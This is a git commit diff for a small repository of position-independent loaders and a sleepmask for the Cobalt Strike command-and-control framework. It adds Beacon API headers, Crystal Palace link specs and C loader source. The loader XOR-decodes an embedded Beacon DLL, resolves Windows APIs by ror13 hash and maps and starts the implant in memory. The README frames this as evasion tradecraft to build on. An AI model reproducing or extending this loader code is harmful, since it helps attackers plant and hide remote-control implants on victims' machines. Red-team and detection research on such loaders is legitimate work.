big update, add a sleepmask

This commit is contained in:
Rasta Mouse
2026-04-11 12:36:19 +01:00
parent d507acf518
commit 8a22b7316c
46 changed files with 1884 additions and 824 deletions
+1 -1
View File
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Daniel Duggan, Zero-Point Security Ltd
Copyright (c) 2025 Daniel Duggan
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
+6 -4
View File
@@ -1,7 +1,9 @@
all:
cd udrl && make $@
cd postex-udrl && make $@
cd loader && make $@
cd postex && make $@
cd mask && make $@
clean:
cd udrl && make $@
cd postex-udrl && make $@
cd loader && make $@
cd postex && make $@
cd mask && make $@
+8 -12
View File
@@ -1,18 +1,14 @@
# Crystal Loaders
A small collection of [Crystal Palace](https://tradecraftgarden.org/crystalpalace.html) PIC loaders designed for use with Cobalt Strike.
This repo contains a couple of PIC loaders and a custom sleepmask COFF for use with Cobalt Strike. They are basic implementations where custom evasion tradecraft must be weaved in using [Crystal Palace](https://tradecraftgarden.org/).
## Setup
## Usage
1. Download the Crystal Palace Release distrubtion.
2. Extract the tar archive and copy `crystalpalace.jar` to the same directory as `cobaltstrike.exe`.
3. Load `crystalpalace.cna` into Cobalt Strike.
4. Profit.
1. Download the Crystal Palace [Release](https://tradecraftgarden.org/crystalpalace.html) distrubtion.
2. Extract the tar archive and copy `crystalpalace.jar` to the same directory as `cobaltstrike.exe` (the client).
3. Load `loaders.cna` to use the custom loaders (there are loaders for both Beacon and postex DLLs).
4. Load `mask.cna` to use the custom sleepmask.
## Tradecraft Garden
## Notes
Read more about Crystal Palace and the Tradecraft Garden [here](https://tradecraftgarden.org/).
### Notes
1. I've only written for x64.
You can use just the loaders, just the sleepmask, or both together. Each are compatible with the [4.12 BUD](https://github.com/Cobalt-Strike/bof-vs/blob/dd6addd1f9b4bc637b63247d67552709f0c59ddf/BOF-Template/beacon.h) structures, so in theory, you can mix and match these with other custom loaders and sleepmasks (assuming they are also 4.12-compatible). This project is not backwards-compatible with pre-4.12.
-76
View File
@@ -1,76 +0,0 @@
import crystalpalace.spec.* from: crystalpalace.jar;
import java.util.HashMap;
# ------------------------------------
# $1 - Beacon payload file name
# $2 - Beacon payload (dll binary)
# $3 - Beacon architecture (x86/x64)
# ------------------------------------
set BEACON_RDLL_GENERATE
{
local('$beacon $arch $spec_path $spec $payload');
$beacon = $2;
$arch = $3;
if ($arch eq "x86") {
warn("x86 not supported, returning default.");
return $null;
}
$spec_path = getFileProper(script_resource("udrl"), "loader.spec");
$spec = [LinkSpec Parse: $spec_path];
$payload = [$spec run: $beacon, [new HashMap]];
if (strlen($payload) == 0) {
warn("Failed to build loader, returning default.");
return $null;
}
return $payload;
}
# ------------------------------------
# $1 - Beacon payload file name
# $2 - Beacon architecture (x86/x64)
# ------------------------------------
set BEACON_RDLL_SIZE {
return "0";
}
# ------------------------------------
# $1 Post-ex payload file name
# $2 Post-ex payload (dll binary)
# $3 Post-ex architecture (x86/x64)
# $4 parent Beacon ID
# $5 GetModuleHandle pointer
# $6 GetProcAddress pointer
# ------------------------------------
set POSTEX_RDLL_GENERATE
{
local('$postex $arch $spec_path $spec $hashMap $final');
$postex = $2;
$arch = $3;
if ($arch eq "x86") {
warn("x86 not supported, returning default.");
return $null;
}
$spec_path = getFileProper(script_resource("postex-udrl"), "loader.spec");
$spec = [LinkSpec Parse: $spec_path];
$hashMap = [new HashMap];
[$hashMap put: "\$GMH", cast($5, 'b')];
[$hashMap put: "\$GPA", cast($6, 'b')];
$final = [$spec run: $postex, $hashMap];
if (strlen($final) == 0) {
warn("Failed to build loader, returning default.");
return $null;
}
return $final;
}
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+19
View File
@@ -0,0 +1,19 @@
CC=i686-w64-mingw32-gcc
CC_64=x86_64-w64-mingw32-gcc
CFLAGS=-fno-jump-tables -shared -Wall -Wno-pointer-arith
.PHONY: all x86 x64 clean
all: x86 x64
bin:
mkdir -p bin
x86: bin
$(CC) -DWIN_X86 $(CFLAGS) -c src/loader.c -o bin/loader.x86.o
x64: bin
$(CC_64) -DWIN_X64 $(CFLAGS) -c src/loader.c -o bin/loader.x64.o
clean:
rm -rf bin
Binary file not shown.
Binary file not shown.
+43
View File
@@ -0,0 +1,43 @@
x86:
generate $KEY 2048
load "bin/loader.x86.o"
make pic +gofirst +optimize
fixptrs "_caller"
dfr "_resolve" "ror13"
mergelib "../libtcg.x86.zip"
push $DLL
xor $KEY
preplen
link "dll_data"
push $KEY
preplen
link "key_data"
export
x64:
generate $KEY 2048
load "bin/loader.x64.o"
make pic +gofirst +optimize
dfr "resolve" "ror13"
mergelib "../libtcg.x64.zip"
push $DLL
xor $KEY
preplen
link "dll_data"
push $KEY
preplen
link "key_data"
export
+49
View File
@@ -0,0 +1,49 @@
x86:
generate $KEY 2048
load "bin/loader.x86.o"
make pic +gofirst +optimize
fixptrs "_caller"
dfr "_smart_resolve" "strings"
patch "_pGetModuleHandle" $GMH
patch "_pGetProcAddress" $GPA
mergelib "../libtcg.x86.zip"
push $DLL
xor $KEY
preplen
link "dll_data"
push $KEY
preplen
link "key_data"
export
x64:
generate $KEY 2048
load "bin/loader.x64.o"
make pic +gofirst +optimize
dfr "smart_resolve" "strings"
patch "pGetModuleHandle" $GMH
patch "pGetProcAddress" $GPA
mergelib "../libtcg.x64.zip"
push $DLL
xor $KEY
preplen
link "dll_data"
push $KEY
preplen
link "key_data"
export
+391
View File
@@ -0,0 +1,391 @@
/*
* Beacon Object Files (BOF)
* -------------------------
* A Beacon Object File is a light-weight post exploitation tool that runs
* with Beacon's inline-execute command.
*
* Additional BOF resources are available here:
* - https://github.com/Cobalt-Strike/bof_template
*
* Cobalt Strike 4.x
* ChangeLog:
* 1/25/2022: updated for 4.5
* 7/18/2023: Added BeaconInformation API for 4.9
* 7/31/2023: Added Key/Value store APIs for 4.9
* BeaconAddValue, BeaconGetValue, and BeaconRemoveValue
* 8/31/2023: Added Data store APIs for 4.9
* BeaconDataStoreGetItem, BeaconDataStoreProtectItem,
* BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries
* 9/01/2023: Added BeaconGetCustomUserData API for 4.9
* 3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL
* Updated the BEACON_INFO data structure to add new parameters
* 4/19/2024: Added BeaconGetSyscallInformation API for 4.10
* 4/25/2024: Added APIs to call Beacon's system call implementation
* 12/18/2024: Updated BeaconGetSyscallInformation API for 4.11 (Breaking changes)
* 2/13/2025: Updated SYSCALL_API structure with more ntAPIs for 4.11
* 3/20/2025: Updated ALLOCATED_MEMORY_SECTION structure with driploader page size for 4.12
* 4/7/2025: Updated ALLOCATED_MEMORY_REGION structure with driploader allocation granularity for 4.12
* 7/16/2025: Updated ALLOCATED_MEMORY_PURPOSE structure with PURPOSE_UDC2_MEMORY for 4.12
*/
/* data API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size);
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
/* format API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, const char * text, int len);
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, const char * fmt, ...);
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
/* Output Functions */
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_OUTPUT_UTF8 0x20
#define CALLBACK_ERROR 0x0d
#define CALLBACK_CUSTOM 0x1000
#define CALLBACK_CUSTOM_LAST 0x13ff
DECLSPEC_IMPORT void BeaconOutput(int type, const char * data, int len);
DECLSPEC_IMPORT void BeaconPrintf(int type, const char * fmt, ...);
DECLSPEC_IMPORT BOOL BeaconDownload(const char * filename, const char* buffer, unsigned int length);
/* Token Functions */
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
DECLSPEC_IMPORT void BeaconRevertToken();
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
/* Spawn+Inject Functions */
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
/* Utility Functions */
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
/* Beacon Information */
/*
* ptr - pointer to the base address of the allocated memory.
* size - the number of bytes allocated for the ptr.
*/
typedef struct {
char * ptr;
size_t size;
} HEAP_RECORD;
#define MASK_SIZE 13
/* Information the user can set in the USER_DATA via a UDRL */
typedef enum {
PURPOSE_EMPTY,
PURPOSE_GENERIC_BUFFER,
PURPOSE_BEACON_MEMORY,
PURPOSE_SLEEPMASK_MEMORY,
PURPOSE_BOF_MEMORY,
PURPOSE_UDC2_MEMORY,
PURPOSE_USER_DEFINED_MEMORY = 1000
} ALLOCATED_MEMORY_PURPOSE;
typedef enum {
LABEL_EMPTY,
LABEL_BUFFER,
LABEL_PEHEADER,
LABEL_TEXT,
LABEL_RDATA,
LABEL_DATA,
LABEL_PDATA,
LABEL_RELOC,
LABEL_USER_DEFINED = 1000
} ALLOCATED_MEMORY_LABEL;
typedef enum {
METHOD_UNKNOWN,
METHOD_VIRTUALALLOC,
METHOD_HEAPALLOC,
METHOD_MODULESTOMP,
METHOD_NTMAPVIEW,
METHOD_USER_DEFINED = 1000,
} ALLOCATED_MEMORY_ALLOCATION_METHOD;
/**
* This structure allows the user to provide additional information
* about the allocated heap for cleanup. It is mandatory to provide
* the HeapHandle but the DestroyHeap Boolean can be used to indicate
* whether the clean up code should destroy the heap or simply free the pages.
* This is useful in situations where a loader allocates memory in the
* processes current heap.
*/
typedef struct _HEAPALLOC_INFO {
PVOID HeapHandle;
BOOL DestroyHeap;
} HEAPALLOC_INFO, *PHEAPALLOC_INFO;
typedef struct _MODULESTOMP_INFO {
HMODULE ModuleHandle;
} MODULESTOMP_INFO, *PMODULESTOMP_INFO;
typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION {
HEAPALLOC_INFO HeapAllocInfo;
MODULESTOMP_INFO ModuleStompInfo;
PVOID Custom;
} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION;
typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION {
BOOL Cleanup;
ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod;
ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation;
} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION;
typedef struct _ALLOCATED_MEMORY_SECTION {
ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development
PVOID BaseAddress; // Pointer to virtual address of section
SIZE_T VirtualSize; // Virtual size of the section
DWORD CurrentProtect; // Current memory protection of the section
DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking)
BOOL MaskSection; // A boolean to indicate whether the section should be masked
DWORD DripLoadPageSize; // The page size used when committing memory during drip-loading
} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION;
typedef struct _ALLOCATED_MEMORY_REGION {
ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory
PVOID AllocationBase; // The base address of the allocated memory block
SIZE_T RegionSize; // The size of the allocated memory block
DWORD Type; // The type of memory allocated
DWORD DripLoadAllocationGranularity; // The allocation granularity used when reserving memory for drip-loading
ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures
ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation
} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION;
typedef struct {
ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];
} ALLOCATED_MEMORY, *PALLOCATED_MEMORY;
/*
* version - The version of the beacon dll was added for release 4.10
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
* e.g. 0x040900 -> CS 4.9
* 0x041000 -> CS 4.10
*
* sleep_mask_ptr - pointer to the sleep mask base address
* sleep_mask_text_size - the sleep mask text section size
* sleep_mask_total_size - the sleep mask total memory size
*
* beacon_ptr - pointer to beacon's base address
* The stage.obfuscate flag affects this value when using CS default loader.
* true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address)
* false: beacon_ptr = allocated_buffer (A valid address)
* For a UDRL the beacon_ptr will be set to the 1st argument to DllMain
* when the 2nd argument is set to DLL_PROCESS_ATTACH.
* heap_records - list of memory addresses on the heap beacon wants to mask.
* The list is terminated by the HEAP_RECORD.ptr set to NULL.
* mask - the mask that beacon randomly generated to apply
*
* Added in version 4.10
* allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA
* via a UDRL.
*/
typedef struct {
unsigned int version;
char * sleep_mask_ptr;
DWORD sleep_mask_text_size;
DWORD sleep_mask_total_size;
char * beacon_ptr;
HEAP_RECORD * heap_records;
char mask[MASK_SIZE];
ALLOCATED_MEMORY allocatedMemory;
} BEACON_INFO, *PBEACON_INFO;
DECLSPEC_IMPORT BOOL BeaconInformation(PBEACON_INFO info);
/* Key/Value store functions
* These functions are used to associate a key to a memory address and save
* that information into beacon. These memory addresses can then be
* retrieved in a subsequent execution of a BOF.
*
* key - the key will be converted to a hash which is used to locate the
* memory address.
*
* ptr - a memory address to save.
*
* Considerations:
* - The contents at the memory address is not masked by beacon.
* - The contents at the memory address is not released by beacon.
*
*/
DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr);
DECLSPEC_IMPORT void * BeaconGetValue(const char * key);
DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key);
/* Beacon Data Store functions
* These functions are used to access items in Beacon's Data Store.
* BeaconDataStoreGetItem returns NULL if the index does not exist.
*
* The contents are masked by default, and BOFs must unprotect the entry
* before accessing the data buffer. BOFs must also protect the entry
* after the data is not used anymore.
*
*/
#define DATA_STORE_TYPE_EMPTY 0
#define DATA_STORE_TYPE_GENERAL_FILE 1
typedef struct {
int type;
DWORD64 hash;
BOOL masked;
char* buffer;
size_t length;
} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT;
DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index);
DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index);
DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index);
DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries();
/* Beacon User Data functions */
DECLSPEC_IMPORT char * BeaconGetCustomUserData();
/* Beacon System call */
/* Syscalls API */
typedef struct
{
PVOID fnAddr;
PVOID jmpAddr;
DWORD sysnum;
} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY;
typedef struct
{
SYSCALL_API_ENTRY ntAllocateVirtualMemory;
SYSCALL_API_ENTRY ntProtectVirtualMemory;
SYSCALL_API_ENTRY ntFreeVirtualMemory;
SYSCALL_API_ENTRY ntGetContextThread;
SYSCALL_API_ENTRY ntSetContextThread;
SYSCALL_API_ENTRY ntResumeThread;
SYSCALL_API_ENTRY ntCreateThreadEx;
SYSCALL_API_ENTRY ntOpenProcess;
SYSCALL_API_ENTRY ntOpenThread;
SYSCALL_API_ENTRY ntClose;
SYSCALL_API_ENTRY ntCreateSection;
SYSCALL_API_ENTRY ntMapViewOfSection;
SYSCALL_API_ENTRY ntUnmapViewOfSection;
SYSCALL_API_ENTRY ntQueryVirtualMemory;
SYSCALL_API_ENTRY ntDuplicateObject;
SYSCALL_API_ENTRY ntReadVirtualMemory;
SYSCALL_API_ENTRY ntWriteVirtualMemory;
SYSCALL_API_ENTRY ntReadFile;
SYSCALL_API_ENTRY ntWriteFile;
SYSCALL_API_ENTRY ntCreateFile;
SYSCALL_API_ENTRY ntQueueApcThread;
SYSCALL_API_ENTRY ntCreateProcess;
SYSCALL_API_ENTRY ntOpenProcessToken;
SYSCALL_API_ENTRY ntTestAlert;
SYSCALL_API_ENTRY ntSuspendProcess;
SYSCALL_API_ENTRY ntResumeProcess;
SYSCALL_API_ENTRY ntQuerySystemInformation;
SYSCALL_API_ENTRY ntQueryDirectoryFile;
SYSCALL_API_ENTRY ntSetInformationProcess;
SYSCALL_API_ENTRY ntSetInformationThread;
SYSCALL_API_ENTRY ntQueryInformationProcess;
SYSCALL_API_ENTRY ntQueryInformationThread;
SYSCALL_API_ENTRY ntOpenSection;
SYSCALL_API_ENTRY ntAdjustPrivilegesToken;
SYSCALL_API_ENTRY ntDeviceIoControlFile;
SYSCALL_API_ENTRY ntWaitForMultipleObjects;
} SYSCALL_API, *PSYSCALL_API;
/* Additional Run Time Library (RTL) addresses used to support system calls.
* If they are not set then system calls that require them will fall back
* to the Standard Windows API.
*
* Required to support the following system calls:
* ntCreateFile
*/
typedef struct
{
PVOID rtlDosPathNameToNtPathNameUWithStatusAddr;
PVOID rtlFreeHeapAddr;
PVOID rtlGetProcessHeapAddr;
} RTL_API, *PRTL_API;
/* Updated in version 4.11 to use the entire structure instead of pointers to the structure.
* This allows for retrieving a copy of the information which would be under the BOF's
* control instead of a reference pointer which may be obfuscated when beacon is sleeping.
*/
typedef struct
{
SYSCALL_API syscalls;
RTL_API rtls;
} BEACON_SYSCALLS, *PBEACON_SYSCALLS;
/* Updated in version 4.11 to include the size of the info pointer, which equals sizeof(BEACON_SYSCALLS) */
DECLSPEC_IMPORT BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, SIZE_T infoSize, BOOL resolveIfNotInitialized);
/* Beacon System call functions which will use the current system call method */
DECLSPEC_IMPORT LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
DECLSPEC_IMPORT LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
DECLSPEC_IMPORT BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
DECLSPEC_IMPORT BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
DECLSPEC_IMPORT BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
DECLSPEC_IMPORT BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
DECLSPEC_IMPORT BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
DECLSPEC_IMPORT DWORD BeaconResumeThread(HANDLE threadHandle);
DECLSPEC_IMPORT HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId);
DECLSPEC_IMPORT HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId);
DECLSPEC_IMPORT BOOL BeaconCloseHandle(HANDLE object);
DECLSPEC_IMPORT BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress);
DECLSPEC_IMPORT SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length);
DECLSPEC_IMPORT BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);
DECLSPEC_IMPORT BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead);
DECLSPEC_IMPORT BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);
/* Beacon Gate APIs */
DECLSPEC_IMPORT VOID BeaconDisableBeaconGate();
DECLSPEC_IMPORT VOID BeaconEnableBeaconGate();
DECLSPEC_IMPORT VOID BeaconDisableBeaconGateMasking();
DECLSPEC_IMPORT VOID BeaconEnableBeaconGateMasking();
/* Beacon User Data
*
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
* e.g. 0x040900 -> CS 4.9
* 0x041000 -> CS 4.10
*/
#define DLL_BEACON_USER_DATA 0x0d
#define BEACON_USER_DATA_CUSTOM_SIZE 32
typedef struct
{
unsigned int version;
PSYSCALL_API syscalls;
char custom[BEACON_USER_DATA_CUSTOM_SIZE];
PRTL_API rtls;
PALLOCATED_MEMORY allocatedMemory;
} USER_DATA, * PUSER_DATA;
+164
View File
@@ -0,0 +1,164 @@
#include <windows.h>
#include "beacon.h"
#include "tcg.h"
#include "loader.h"
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
DECLSPEC_IMPORT LPVOID WINAPIV MSVCRT$malloc ( size_t );
DECLSPEC_IMPORT void WINAPIV MSVCRT$free ( LPVOID );
__typeof__ ( GetModuleHandleA ) * pGetModuleHandle __attribute__ ( ( section ( ".text" ) ) );
__typeof__ ( GetProcAddress ) * pGetProcAddress __attribute__ ( ( section ( ".text" ) ) );
char __DLLDATA__ [ 0 ] __attribute__ ( ( section ( "dll_data" ) ) );
char __KEYDATA__ [ 0 ] __attribute__ ( ( section ( "key_data" ) ) );
FARPROC resolve ( DWORD mod_hash, DWORD func_hash )
{
HANDLE module = findModuleByHash ( mod_hash );
return findFunctionByHash ( module, func_hash );
}
FARPROC smart_resolve ( char * mod_name, char * func_name )
{
HANDLE module = pGetModuleHandle ( mod_name );
if ( module == NULL ) {
module = LoadLibraryA ( mod_name );
}
return pGetProcAddress ( module, func_name );
}
#ifdef WIN_X86
__declspec ( noinline ) ULONG_PTR caller ( VOID ) { return ( ULONG_PTR ) WIN_GET_CALLER ( ); }
#endif
void go ( )
{
RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( __DLLDATA__ );
RESOURCE * xor_key = ( RESOURCE * ) GETRESOURCE ( __KEYDATA__ );
char * dll_src = MSVCRT$malloc ( masked_dll->length );
for ( size_t i = 0; i < masked_dll->length; i++ ) {
dll_src [ i ] = masked_dll->value [ i ] ^ xor_key->value [ i % xor_key->length ];
}
DLLDATA dll_data;
ParseDLL ( dll_src, &dll_data );
USER_DATA bud;
ALLOCATED_MEMORY memory;
memset ( &bud, 0, sizeof ( USER_DATA ) );
memset ( &memory, 0, sizeof ( ALLOCATED_MEMORY ) );
bud.version = 0x041200;
bud.allocatedMemory = &memory;
char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE );
LoadDLL ( &dll_data, dll_src, dll_dst );
ALLOCATED_MEMORY_CLEANUP_INFORMATION cleanup_info;
memset ( &cleanup_info, 0, sizeof ( ALLOCATED_MEMORY_CLEANUP_INFORMATION ) );
cleanup_info.AllocationMethod = METHOD_VIRTUALALLOC;
cleanup_info.Cleanup = TRUE;
memory.AllocatedMemoryRegions[0].Purpose = PURPOSE_BEACON_MEMORY;
memory.AllocatedMemoryRegions[0].AllocationBase = dll_dst;
memory.AllocatedMemoryRegions[0].RegionSize = SizeOfDLL ( &dll_data );
memory.AllocatedMemoryRegions[0].Type = MEM_PRIVATE;
memory.AllocatedMemoryRegions[0].CleanupInformation = cleanup_info;
IMPORTFUNCS funcs;
funcs.GetProcAddress = GetProcAddress;
funcs.LoadLibraryA = LoadLibraryA;
ProcessImports ( &funcs, &dll_data, dll_dst );
fix_section_permissions ( &dll_data, dll_dst, &memory.AllocatedMemoryRegions [ 0 ] );
DLLMAIN_FUNC dll_main = EntryPoint ( &dll_data, dll_dst );
MSVCRT$free ( dll_src );
dll_main ( ( HINSTANCE ) NULL, DLL_BEACON_USER_DATA, &bud );
dll_main ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL );
dll_main ( ( HINSTANCE ) &go, 4, NULL );
}
void fix_section_permissions ( DLLDATA * dll_data, char * dll_dst, ALLOCATED_MEMORY_REGION * region )
{
DWORD section_count = dll_data->NtHeaders->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER * section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll_data->OptionalHeader, dll_data->NtHeaders->FileHeader.SizeOfOptionalHeader );
for ( size_t i = 0; i < section_count; i++ )
{
void * section_dst = dll_dst + section_hdr->VirtualAddress;
DWORD section_size = section_hdr->SizeOfRawData;
DWORD new_protect;
DWORD old_protect;
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) {
new_protect = PAGE_WRITECOPY;
}
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) {
new_protect = PAGE_READONLY;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) {
new_protect = PAGE_READWRITE;
}
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) {
new_protect = PAGE_EXECUTE;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) {
new_protect = PAGE_EXECUTE_WRITECOPY;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) {
new_protect = PAGE_EXECUTE_READ;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) {
new_protect = PAGE_EXECUTE_READWRITE;
}
KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect );
region->Sections[i].Label = get_label_from_section_header ( section_hdr );
region->Sections[i].BaseAddress = section_dst;
region->Sections[i].VirtualSize = section_size;
region->Sections[i].CurrentProtect = new_protect;
region->Sections[i].PreviousProtect = new_protect;
region->Sections[i].MaskSection = TRUE;
section_hdr++;
}
}
ALLOCATED_MEMORY_LABEL get_label_from_section_header ( IMAGE_SECTION_HEADER * section_hdr )
{
DWORD hash = ror13hash ( ( const char * ) section_hdr->Name );
switch ( hash )
{
case 0xebc2f9b4:
return LABEL_TEXT;
case 0xcba738b8:
return LABEL_RDATA;
case 0xcba2f8a1:
return LABEL_DATA;
case 0xcba718b8:
return LABEL_PDATA;
case 0xcd7f3b7a:
return LABEL_RELOC;
default:
return LABEL_EMPTY;
}
}
+12
View File
@@ -0,0 +1,12 @@
#define GETRESOURCE(x) ( char * ) &x
#define memset(x, y, z) __stosb ( ( unsigned char * ) x, y, z );
typedef struct {
int length;
char value [ ];
} RESOURCE;
void go ( );
void fix_section_permissions ( DLLDATA * dll_data, char * dll_dst, ALLOCATED_MEMORY_REGION * region );
ALLOCATED_MEMORY_LABEL get_label_from_section_header ( IMAGE_SECTION_HEADER * section_hdr );
+18 -3
View File
@@ -15,7 +15,7 @@
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS AS IS AND ANY EXPRESS
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
@@ -26,11 +26,19 @@
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
// used by both the Pico Loader and DLL loader
typedef struct {
__typeof__(LoadLibraryA) * LoadLibraryA;
__typeof__(GetProcAddress) * GetProcAddress;
} IMPORTFUNCS;
// linker intrinsic to map a function hash to a hook registered via Crystal Palace
FARPROC __resolve_hook(DWORD funcHash);
/*
* Structs used by our DLL loader
*/
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
